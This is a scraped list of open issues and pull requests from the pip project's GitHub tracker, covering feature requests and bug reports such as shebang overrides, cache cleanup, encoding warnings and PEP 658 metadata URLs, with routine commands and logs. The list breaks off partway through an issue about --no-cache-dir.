/build/aarch64--netbsd/bin/python3.10 -m pip install --executable=/opt/pkg/bin/python3.10 ...

fix https://github.com/pypa/pip/issues/12087

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: riastradh
issue_12087: state: open
title: Provide option to pip install to set #! line in scripts
body: ### What's the problem this feature will solve?

Suppose I am using a cross-compiler toolchain to cross-build Python packages into a cross-destdir (which I specify with `--root`).

My toolchain lives at /build/aarch64--netbsd, so when I run pip, sys.executable is /build/aarch64--netbsd/bin/python3.10.

The software I'm building will run, on the target system, out of /opt/pkg (which I specify with `--prefix`), so the #! line of any scripts needs to be `#!/opt/pkg/bin/python3.10`.

Setuptools allows specifying `--executable=/opt/pkg/bin/python3.10` or setting `[build] executable = "/opt/pkg/bin/python3.10"` in setup.cfg to set the #! line of any scripts installed by the package.  distlib's ScriptMaker uses sys.executable by default for anything outside the Python interpreter build itself, but as far as I can tell, pip provides no way to override this default.

### Describe the solution you'd like

For example, `/build/aarch64--netbsd/bin/python3.10 pip install --executable=/opt/pkg/bin/python3.10 ...` puts `#!/opt/pkg/bin/python3.10` in any scripts it installs.

### Alternative Solutions

1. Overriding sys.executable in a sitecustomize.py file in PYTHONPATH is troublesome because various things assume that sys.executable is, in fact, executable at build-time, and try to execute it.
2. Patching the files _ex post facto_ is troublesome because pip has sole responsibility for enumerating and creating the scripts, so the cross-build system that invokes pip would have to go out of its way to enumerate all the scripts to update them.

### Additional context

I searched for related issues but couldn't find any instances of the same problem.

- https://github.com/pypa/pip/issues/10661 is about preserving an argument on the #! line, rather than overriding the executable in it.
- https://github.com/pypa/pip/issues/11483 is about making the #! line relative, rather than overriding it by a different absolute path.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: riastradh
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12084: state: open
title: Add machine readable download progress option
body: Closes #11508 and obsoletes #11172

TLDR: If you call pip in a subprocess, it is impossible to read progress output because rich disables progress bar outputs in subprocesses by default. I had previously added an option to force the progress bar, but it was suggested to add a machine-readable option instead. This PR adds a new progress_bar option that just prints the download progress to stdout and bypasses rich entirely, allowing a program that controls pip to read stdout and parse download progress.

I'm open to suggestions on how this should be formatted. Here is how it currently looks:

![image](https://github.com/pypa/pip/assets/34788790/6298563a-6742-4645-a096-5eca6a7a6168)

user: joeyballentine
issue_12082: state: open
title: Follow-up to #2984: dealing with old HTTP download caches
body: ### What's the problem this feature will solve?

Once #11143 is merged, new versions of `pip` will use a new HTTP on-disk cache. Old versions will continue to use the old cache, which resides in a different directory.

There is a point in time where that old cache really ought to be deleted. For example, after 5 years essentially no one should care about the old HTTP cache, but anyone who keeps around the same home directory will now be wasting disk space. The more time passes, the less likely the old HTTP cache is in broad use by users.

### Describe the solution you'd like

As discussed in #11143, after N(==2 to match deprecation policy?) releases or perhaps a certain amount of time, it will become reasonable to assume that most users on the latest version of `pip` have stopped using older versions of `pip`, and therefore the old HTTP cache can be cleaned up.

Potential solutions:

1. Warn the user, with instructions on how to clean the cache. "You are using X MB in the old HTTP cache, which is only used by versions of `pip` older than 2023.X. If you are only using new versions of `pip`, you can clean the cache by doing `pip clean --old-http-cache`". (I made that command up, just pretend it's the correct command).
2. Automatically delete the whole old cache.
3. Heuristics! Automatically delete items in the old HTTP cache that haven't been modified for more than a certain amount of time, on the presumption that they're not relevant (presumably new releases have come out as well). Eventually it will just be empty.

Options 1 and 2 probably imply some future issue to rip the code out when it's assumed most users don't have old HTTP caches anymore.

Option 3 is attractive in that essentially the same code could be applied to the _new_ HTTP cache, so it would be helpful for not having infinitely increasing caches which is currently possible.

### Alternative Solutions

N/A

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: itamarst
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12076: state: open
title: Puzzling output with `--ignore-installed package==version` when another version exists
body: ### Description

Hey there!

Here is an output I just had while tinkering in a virtualenv and trying to rollback a package (namely xcffib):

```
$ pip install -I xcffib==1.3.0
Collecting xcffib==1.3.0
  Using cached xcffib-1.3.0-py3-none-any.whl
Collecting cffi>=1.1.0 (from xcffib==1.3.0)
  Using cached cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (462 kB)
Collecting pycparser (from cffi>=1.1.0->xcffib==1.3.0)
  Using cached pycparser-2.21-py2.py3-none-any.whl (118 kB)
Installing collected packages: pycparser, cffi, xcffib
Successfully installed cffi-1.15.1 pycparser-2.21 xcffib-1.4.0
```

Note that I'm trying to install `xcffib==1.3.0` and that the last line mentions the successful installation of version 1.4.0, which is quite hard to understand. Did I just install 1.3.0 or does it still have 1.4.0?

I realized by looking around here that `-I` is most likely not the good flag to use for a rollback, but still, the output is very puzzling.

### Expected behavior

Either

```
Successfully installed cffi-1.15.1 pycparser-2.21 xcffib-1.3.0
```

or a warning telling me something intelligible.

### pip version

23.1.2

### Python version

11

### OS

Linux

### How to Reproduce

1. Create a virtualenv
2. `pip install xcffib` (it installs 1.4.0)
3. Try to install 1.3.0 with `pip install -I xcffib==1.3.0`
4. Observe the output saying that it just installed 1.4.0

### Output

```
$ virtualenv .venv
created virtual environment CPython3.11.3.final.0-64 in 226ms
  creator CPython3Posix(dest=/home/ramnes/tmp/.venv, clear=False, no_vcs_ignore=False, global=False)
  seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/home/ramnes/.local/share/virtualenv)
    added seed packages: pip==23.1.2, setuptools==67.7.2, wheel==0.40.0
  activators BashActivator,CShellActivator,FishActivator,NushellActivator,PowerShellActivator,PythonActivator
$ source .venv/bin/activate
(.venv) $ pip install xcffib
Collecting xcffib
  Using cached xcffib-1.4.0-py3-none-any.whl
Collecting cffi>=1.1.0 (from xcffib)
  Using cached cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (462 kB)
Collecting pycparser (from cffi>=1.1.0->xcffib)
  Using cached pycparser-2.21-py2.py3-none-any.whl (118 kB)
Installing collected packages: pycparser, cffi, xcffib
Successfully installed cffi-1.15.1 pycparser-2.21 xcffib-1.4.0
(.venv) $ pip install -I xcffib==1.3.0
Collecting xcffib==1.3.0
  Using cached xcffib-1.3.0-py3-none-any.whl
Collecting cffi>=1.1.0 (from xcffib==1.3.0)
  Using cached cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (462 kB)
Collecting pycparser (from cffi>=1.1.0->xcffib==1.3.0)
  Using cached pycparser-2.21-py2.py3-none-any.whl (118 kB)
Installing collected packages: pycparser, cffi, xcffib
Successfully installed cffi-1.15.1 pycparser-2.21 xcffib-1.4.0
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ramnes
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12071: state: open
title: Specify the encoding and enable warnings in tests when unspecified.
body: - Enable PYTHON_WARN_DEFAULT_ENCODING to catch EncodingWarnings. Ref #12070.
- Specify encoding in Popen. Fixes #12070.

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: jaraco
issue_12070: state: open
title: EncodingWarnings in utils.subprocess and cache modules
body: ### Description

Running the tests on [pytest-perf](/jaraco/pytest-perf) with [PYTHON_WARN_DEFAULT_ENCODING](https://github.com/jaraco/skeleton/commit/284359e5123eb6a9f975092d1fb17dfa814d1594), I see several warnings:

```
pytest_perf/runner.py .../Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
/Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
/Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
/Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
/Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
/Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
/Users/jaraco/code/jaraco/pytest-perf/.tox/py/lib/python3.11/site-packages/pip/_internal/cache.py:261: EncodingWarning: 'encoding' argument not specified
  origin = DirectUrl.from_json(origin_path.read_text())
```

### Expected behavior

pip should run clean without EncodingWarnings with PYTHON_WARN_DEFAULT_ENCODING set.

### pip version

23.1.2

### Python version

3.11.3

### OS

macOS

### How to Reproduce

1. `git clone https://github.com/jaraco/pytest-perf; cd pytest-perf`
2. `tox -- -k runner`

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jaraco
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12066: state: open
title: Improve docs for --root-user-action option
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

https://github.com/pypa/pip/pull/11201 was too verbose, so this change just adds a note to the warning message itself and shows allowed values for the option when using `pip install --help`. The warning message now contains all information from the proposed alternative in the rejected PR but is easier to discover.

Closes #11179.

user: Mr-Pepe
issue_12063: state: open
title: Deprecate legacy versions and version specifiers
body: Towards #11715 

## What is changing

pip has historically allowed many arbitrary strings as versions and version specifiers. Going forward, all versions and version specifiers will need to conform to https://packaging.python.org/en/latest/specifications/version-specifiers/ (based on [PEP 440](https://peps.python.org/pep-0440/)).

Quoting https://github.com/pypa/packaging/issues/530:

> ```
> >>> packaging.version.parse("This is a completely random string")
> <LegacyVersion('This is a completely random string')>
> ```
>
> ```
> >>> packaging.version.parse("This is a completely random string")
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "[...]/.venv/lib/python3.10/site-packages/packaging/version.py", line 52, in parse
>     return Version(version)
>   File "[...]/.venv/lib/python3.10/site-packages/packaging/version.py", line 197, in __init__
>     raise InvalidVersion(f"Invalid version: '{version}'")
> packaging.version.InvalidVersion: Invalid version: 'This is a completely random string'
> ```
>
> This "feature" has been deprecated (https://github.com/pypa/packaging/issues/321) for nearly two years now.
>
> PyPI has not permitted uploading packages with invalid versions for even more years.

There are more details about this change in [the aforementioned issue](https://github.com/pypa/packaging/issues/530).

## What you can do

**Please do not comment on this issue with the message you're seeing.**

If you reached this issue from the pip deprecation warning and lack information to know where the non-conforming string was used, please re-run your pip command with `-v` or `-vv` to show more detailed logs which will help in locating the problem.

If you are the user of a package that is causing pip to present this warning, reach out to the authors of the package. The message starts as `DEPRECATION: [package name here] [version number here] has a non-standard [...]`.

If you are the author of the relevant package, please update your package version and dependency specifiers to use a compliant syntax. You can check those using `packaging.version.parse("1.0")` and `packaging.requirements.Requirement("dependency >= 1.0")` with the latest [packaging](https://pypi.org/project/packaging/) release.
user: sbidoul
labels: type: deprecation: Related to deprecation / removal.
issue_12062: state: open
title: VCS support for fossil
body: ### What's the problem this feature will solve?

I would like to be able to install python packages from [fossil](https://fossil-scm.org/) repositories, just as one can do with git, bazzar, etc.

### Describe the solution you'd like

Same as with the other [VCSs](https://pip.pypa.io/en/stable/topics/vcs-support/), with a URL prefix like `fossil+`.

### Alternative Solutions

No.

### Additional context

VCS Support in pip docs: https://pip.pypa.io/en/stable/topics/vcs-support/
Fossil: https://fossil-scm.org/

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: elouin
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12061: state: open
title: Unimportant, but confusing. After upgrading to the newest pip, I'm reminded to upgrade to the same version I just installed.
body: ### Description

On Windows 10 after performing a pip upgrade to 23.1.2 (user install) pip reminds me to
update to the version I just successfully installed.

    [notice] A new release of pip available: 22.3.1 -> 23.1.2
    [notice] To update, run: C:\Program Files\Python311\python.exe -m pip install --upgrade pip

This reminder is confusing.

### Expected behavior

After updating pip with 
    py -3 -m pip install pip -U
I expect the output to end at 
    Successfully installed pip-23.1.2
without update reminders

### pip version

23.1.2

### Python version

3.11.3

### OS

windows 10 pro 64 bit

### How to Reproduce

On a freshly installed Windows 10 Pro:
Install Python 3.11.3 "for all users" into the default "c:\Program Files\Python311"
Then run "cmd.exe" and inside " py -3 -m pip install pip -U" without Admin-Rights (causing a user installation)

Note: This is the first time pip was updated on this machine.

### Output

D:\data>py -3 -m pip install pip -U
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: pip in c:\program files\python311\lib\site-packages (22.3.1)
Collecting pip
  Downloading pip-23.1.2-py3-none-any.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 2.3 MB/s eta 0:00:00
Installing collected packages: pip
  WARNING: The scripts pip.exe, pip3.11.exe and pip3.exe are installed in 'C:\Users\User\AppData\Roaming\Python\Python311\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed pip-23.1.2

[notice] A new release of pip available: 22.3.1 -> 23.1.2
[notice] To update, run: C:\Program Files\Python311\python.exe -m pip install --upgrade pip


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mborus
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12055: state: open
title: [perf] Automatically prefer Windows Dev Drive for temp files
body: ### What's the problem this feature will solve?

Windows [Dev Drive](https://learn.microsoft.com/en-us/windows/dev-drive/) is a new OS feature that allows users to create a high performance disk that's designed for development activities. The performance improvement is based on new optimisations to the file system driver, and separating it out from the default OS drive reduces other overheads.

It's perfect for storing temporary files, however, it was decided that it's not safe for Windows to redirect all TEMP accesses to a Dev Drive by default. But our testing showed the improvements get significantly better when you do it, and we believe apps that can switch ought to switch. Pip's temporary files and package cache featured heavily in our testing.

I was part of the design team for this feature, so happy to add as much more context as you'd like and as I'm able to. Obviously these are public statements, so I have to be careful about things that might be interpreted as promises and not merely dreams, hopes and ambitions 😉 

### Describe the solution you'd like

At a high level, I'd like to see pip installs targeting an environment on a Dev Drive also use that drive for temporary files, including the build environment. 

**I'm [in the process](https://github.com/python/cpython/issues/104803) of adding an `os.path.isdevdrive` function to CPython for 3.12,** so would love to hear whether this is something you'd consider using, and whether a simple test like this suits your needs.[^1]

This is the kind of logic I'd expect to see ([around here](https://github.com/pypa/pip/blob/main/src/pip/_internal/utils/temp_dir.py#L164)):

```
root = None
# sys.prefix feels wrong here, but you're already using site.getsitepackages() in this
# code path, so I guess either we know we're in the target runtime or there's other
# code cleanup to do?
if hasattr(os.path, 'isdevdrive'):
    root = os.path.join(''.join(os.path.splitroot(sys.prefix)[:2]), '.pip')
    if not os.path.isdevdrive(root): # negative check to clear the overridden root
        root = None
path = os.path.realpath(tempfile.mkdtemp(prefix=f"pip-{kind}-", dir=root))
```

`isdevdrive` will work on the full path, but I strip back to the drive name first because it could change which drive is actually used (e.g. the project might be in a mounted directory). There's not really an efficient way to handle this case, and on balance it makes the most sense to just ignore the optimisation anyway (access through a mounted directory is typically slow).

We'd also love to see the Dev Drive used for the various caches, and the perf benefits are solid. However, that seems a bit more complex, and might be better served by suggesting users set a global environment variable. There is already an `os.listdrives()` API that could be used to _find_ a Dev Drive, but in the presence of multiple drives it's not really decidable _which_ one they intend for caching (we think some people will create separate drives for each project, while others will have one big one).

Obviously this can only light up in 3.12 and not earlier (unless you want to port the code into ctypes, which I'll understand if you don't bother). Dev Drive doesn't become widely available until the end of the year anyway, so 3.12 will also be available. Just another reason for people to upgrade! 😄 

[^1]: Obviously we're past the first beta, but I got an allowance to add it before beta 2 (next Tuesday!) because of NDAs surrounding the feature.

### Alternative Solutions

An alternative would be to detect and suggest to users that since their code is on a Dev Drive, they should also manually override settings to store temporary files on it as well. I'm not sure this would be really valuable for pip users, but it's 

Another alternative would be to merely document it. I'd be disappointed by this, because we really want the _fact_ that a Dev Drive is being used to be the signal that dev-related files should be stored there, and we don't want to encourage users to set global environment variables for something like this. It also seems unlikely to be discovered by existing users, who probably aren't going back to read this documentation regularly.

### Additional context

If you prefer video demonstrations: https://build.microsoft.com/en-US/sessions/7ed9bb72-b4f4-4490-9b26-911d1ac263d1?source=/home

The docs again: https://learn.microsoft.com/en-us/windows/dev-drive/

Right now it's available on the Dev Channel of Windows Insider, which means it is public and people are trying it out. pip's test suite was one of the key scenarios we were testing during development, and the reason it isn't mentioned in the promotional material is because the perf improvement was _so big_ that it looked like a contrived scenario, so we decided to cut it 😆 

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zooba
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12052: state: open
title: pip install should not consider PIP_REQUIRE_VIRTUALENV when -target option is used
body: ### Description

Hi. Not sure this is a bug, but I think if someone uses "pip install whatever -target /somewhere" I would assume they know what they're doing and the command should succeed even if PIP_REQUIRE_VIRTUALENV is set.

### Expected behavior

"pip install whatever -target /somewhere" should succeed even if  PIP_REQUIRE_VIRTUALENV is set.

### pip version

22.0.4

### Python version

3.9.16

### OS

ubuntu 22.04

### How to Reproduce

1. PIP_REQUIRE_VIRTUALENV=true pip install addict --target /tmp/xxx



### Output

ERROR: Could not find an activated virtualenv (required).

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: yherve
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12050: state: open
title: Could not find setuptools>=40.8.0 (with Setuptools installed)
body: ### Description

In https://github.com/jaraco/pip-run/issues/73, I was investigating an issue surfaced by the removal of setuptools/wheel by default from virtualenv on Python 3.12. While troubleshooting, I added Setuptools as a dependency (https://github.com/jaraco/pip-run/commit/d6783eadb1fb3713793998763201b4c32d766c21), but the error persisted:

```
  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [2 lines of output]
      ERROR: Could not find a version that satisfies the requirement setuptools>=40.8.0 (from versions: none)
      ERROR: No matching distribution found for setuptools>=40.8.0
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error
```

The test that's failing is simply building a legacy Setuptools project (`setup.py`, no `pyproject.toml`). It's failing to find Setuptools presumably because the tests are passing `--no-index`.

This error is confusing in a couple of ways:

- It's the implicit "wheel" that's missing (adding wheel works around the issue; https://github.com/jaraco/pip-run/pull/74), but there's no mention of wheel.
- The error indicates that it's not a problem with pip because it's a subprocess, but the error message comes directly from pip.

### Expected behavior

Ideally, pip shouldn't try to install setuptools if it's installed and satisfied. If it needs wheel and/or setuptools to do the build but it doesn't have one, it should state as much ("installing implied {setuptools or wheel} for legacy build"), and then only attempt to install the missing package.

Separately, it's apparent that the subprocess boundary isn't a good indicator of which project might be responsible. Better would be for pip to indicate which builder was used and maybe which project might be responsible (maybe).

### pip version

23.3.1

### Python version

3.12.0a7

### OS

any

### How to Reproduce

With setuptools/wheel uninstalled:

```
 $ cat > setup.py
import setuptools; setuptools.setup()
 $ pip-run setuptools -- -m pip install --no-index .
Processing /Users/jaraco/draft
  Installing build dependencies ... error
  error: subprocess-exited-with-error
  
  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [2 lines of output]
      ERROR: Could not find a version that satisfies the requirement setuptools>=40.8.0 (from versions: none)
      ERROR: No matching distribution found for setuptools>=40.8.0
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```

Note the build succeeds if wheel is present:

```
 $ pip-run setuptools wheel -- -m pip-run -v --no-index . -- -c pass
Processing /Users/jaraco/draft
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: UNKNOWN
  Building wheel for UNKNOWN (setup.py) ... done
  Created wheel for UNKNOWN: filename=UNKNOWN-0.0.0-py3-none-any.whl size=920 sha256=675c0cd23b1d6de46af0e8377682867186cedb68b275787323ea61584caaed0a
  Stored in directory: /private/var/folders/sx/n5gkrgfx6zd91ymxr2sr9wvw00n8zm/T/pip-ephem-wheel-cache-yv5_0l1v/wheels/85/87/4e/90d5ac6e5f68ec20eda74f6d3622a8e87f2c519c5b71ef64a8
Successfully built UNKNOWN
Installing collected packages: UNKNOWN
Successfully installed UNKNOWN-0.0.0
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jaraco
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12047: state: open
title: Raise Error on misspelled fragment.
body: E.g. only 'egg' and 'subdirectory' are allowed.

Closes: #11878

I probably got the usage of `DiagnosticPipError`, can someone please check?

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: venthur
issue_12043: state: open
title: Fix direct usage of pip.pyz example
body: Fixes the direct usage showing up as `python -m pip.pyz` rather than `./pip.pyz`/`.\pip.pyz`
user: Jackenmen
issue_12041: state: open
title: After python -m pip install nothing happens
body: ### Description

I can't install any packages via pip install. For example I run installation of python-telegram-bot package:

```
C:\myProjects\BBBBB>python -m pip install python-telegram-bot

C:\myProjects\BBBBB>
```
And nothing happens. The package is not installed

```
C:\myProjects\BBBBB>python -m pip list
Package    Version
---------- -------
pip        22.3.1
setuptools 65.5.0

C:\myProjects\BBBBB>
```
Try to debug:

```
C:\myProjects\BBBBB>python -m pdb -m pip install python-telegram-bot
> c:\python311\lib\site-packages\pip\__main__.py(1)<module>()
-> import os
(Pdb) b  c:\python311\lib\ssl.py:500
Breakpoint 1 at c:\python311\lib\ssl.py:500
(Pdb) c
> c:\python311\lib\ssl.py(500)__new__()
-> self = _SSLContext.__new__(cls, protocol)
(Pdb) s

C:\myProjects\BBBBB>
```

Here I run in debug mode. Created a break point and moved on to it. After step into nothing happens and execution stops. I've had this problem for a long time. And met on various versions of python, but only on one computer. Everything works fine on the other one. 
Through the browser address "https://pypi.org/simple/python-telegram-bot /" it opens for me, I don't use VPN. Tell me, what could be the problem?


### Expected behavior

_No response_

### pip version

pip 22.3.1

### Python version

3.11.3

### OS

Windows 11

### How to Reproduce

I think you can't reproduce it

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: eugenesmsk
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12039: state: open
title: having a way resolver outputs a "number of ticks", and being able to limit that number
body: ### What's the problem this feature will solve?

give the builder a way to "stop" the resolver when things are obviously not going the usual way versus previous builds

### Describe the solution you'd like

I'm building from a local drive a huge list of requirement.
When all goes well, the resolver is "expectedly" behaving about the same each time,
When not, the resolver takes way more time, maybe would take a day but I kill it before, and I loose that "way more" time.

nota: after that initial big and long try, implementing a constraint.txt file and retrying, and nothing else, allows to pin-point the issue. (as 'pip check' can't see it comes from a dask[complete] constraint)

What would avoid this at minimal initial time cost is:
- to have the resolver counting its "steps" to resolve a request, and output it
- so that when asking a pip install, a parameter limiting the number of steps would allow to "break" spontaneously when we are out of the "normal" situation.


so, request is to have  pip install --verbose :
- to include, just before the summary, or as it runs, a "steps" or "number of ticks" spending,
- being able via a --steps_limit to put an upper bound to it.

Advantage vs a time limit  or depth limit: 
- no dependancy on the cpu speed
- no change in the algorithm itself.

### Alternative Solutions

this is an alternative to  https://github.com/pypa/pip/issues/10932

### Additional context

I can try to experiment a counter if pip devs gives have an idea of how what/where could be counted.
It must be in a place where the "never ending resolution" is increasing it continously.

the "number of steps" displaying and the "breakage" could be done at the current --verbose output line writing moment.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: stonebig
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12037: state: open
title: Display full HTTP error message on pip install returns
body: ### What's the problem this feature will solve?

My company uses JFrog Artifactory & Xray to proxy the pypi repository.  This tool applies policies that help us control the use of these (and other) open-source libraries.  Artifactory passes an error response when a user tries to download a package that is blocked by our policies.  The error response is both a 403 code and a message.  However, pip will only display the 403 code.  We'd like pip to display both the returned error code and message.

### Describe the solution you'd like

In the "pip install" return when it receives a error response from the source package repository, display the response error message along with the error code.  For example, something like...

collecting numpy
 ERROR: HTTP 403 error while getting...
 MESSAGE: HTTP 403 Message: <response error message>

### Alternative Solutions

We attempted to see if including the verbose option on a pip install command would display the error message, but it did not.

### Additional context

I don't believe Artifactory is providing a unique response structure when it returns an HTTP error.  While this request discusses Artifactory specifically, I believe this enhancement would benefit anyone that experiences HTTP errors that include a response message.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: trionfia
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12035: state: open
title: Idea: When backtracking prefer packages with METADATA file available
body: ### What's the problem this feature will solve?

A common user complaint when heavily backtracking is downloading lots of large files

### Describe the solution you'd like

Currently PEP 658 has [just been rolled out](https://discuss.python.org/t/pep-658-is-now-live-on-pypi) on PyPi, when it starts backfilling a lot of packages will hopefully have an associated METADATA file.

To some extent Pip could prefer those packages when backtracking, less important than whether the package is part of a conflict, but perhaps more important than most other backtracking preference criteria.

It may have a few positive benefits:

1. Less data is needed to be downloaded by the user
2. Less time is needed to be spent on building packages to extract metadata
3. Backtracking is less likely to go back to packages that are much older they do not support / have correct METADATA files

If we look at an example like https://github.com/pypa/pip/issues/12028#issuecomment-1544617812, then hopefully either error is arrived at much quicker or a requirements solution is found because it is preferred not to backtrack to awscli-0.8.0 because metadata can not be extracted.

### Alternative Solutions

Do nothing, still likely to get lots of benefits from METADATA files being available 

### Additional context

I'm making a broad assumption that packages with accessible METADATA files are better than packages without for dependency resolution, it could be this is not true or at least not true in specific cases.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12034: state: open
title: Correct calculation of metadata file URL
body: Fixes #12033

Still needs tests.
user: pfmoore
issue_12033: state: open
title: PEP658 metadata URL calculation bug
body: ### Description

pip 22.3 implements PEP658 that is trying to get metadata from server, but the URL is crafted wrongly, it misses hrefs and queries. Example transaction:
```
$ pip3 install --no-cache-dir -i http://myhost/repository/pypi-proxy/simple/ google-cloud-pubsub --trusted-host myhost
...
Fetched page http://myhost/repository/pypi-proxy/simple/google-cloud-pubsub/ as text/html
...
Found link http://nmyhost/repository/pypi-proxy/packages/google-cloud-pubsub/google_cloud_pubsub-2.17.0-py2.py3-none-any.whl?originalHref=<BASE64ENCODEDDATA>#sha256=85db40ce1c03ad604fe2f299906f49f2bf36abbe2320863a3e19bdc746a904f7 (from http://myhost/repository/pypi-proxy/simple/google-cloud-pubsub/) (requires-python:>=3.7), version: 2.17.0

HERE PEP658 kicks in

Obtaining dependency information for google-cloud-pubsub from http://myhost/repository/pypi-proxy/packages/google-cloud-pubsub/google_cloud_pubsub-2.17.0-py2.py3-none-any.whl?originalHref=<BASE64ENCODEDDATA>.metadata
```

This breaks the URL, as it merely appends `.metadata` and query originalHref from that point is invalid Base64 data.


### Expected behavior

The simple index above works with pip 22.2.2 but NOT with 22.3 as server side "chokes" on broken Base64 payload. Basically, stripping queries and then appending `.metadata` to last path element would work. Or just somehow make PEP658 "disable" possible, until server side picks up latest changes.

### pip version

22.3 and above

### Python version

3.11.3

### OS

macOS Ventura

### How to Reproduce

To reproduce you need our in-house pypi proxy... or just create some simple index that contains any HTTP queries as well. Logic appending `.metadata` to URL seems unaware of queries.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: cstamas
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
issue_12031: state: open
title: no-cache-dir is not respected for deps that require building
body: ### Description

I'm running on alpine:
```
apk add --no-cache --virtual .build-deps gcc musl-dev jpeg-dev zlib-dev libffi-dev cairo-dev pango-dev gdk-pixbuf-dev
pip install --no-cache-dir psutil
```


### Expected behavior

There should be no cache at all

### pip version

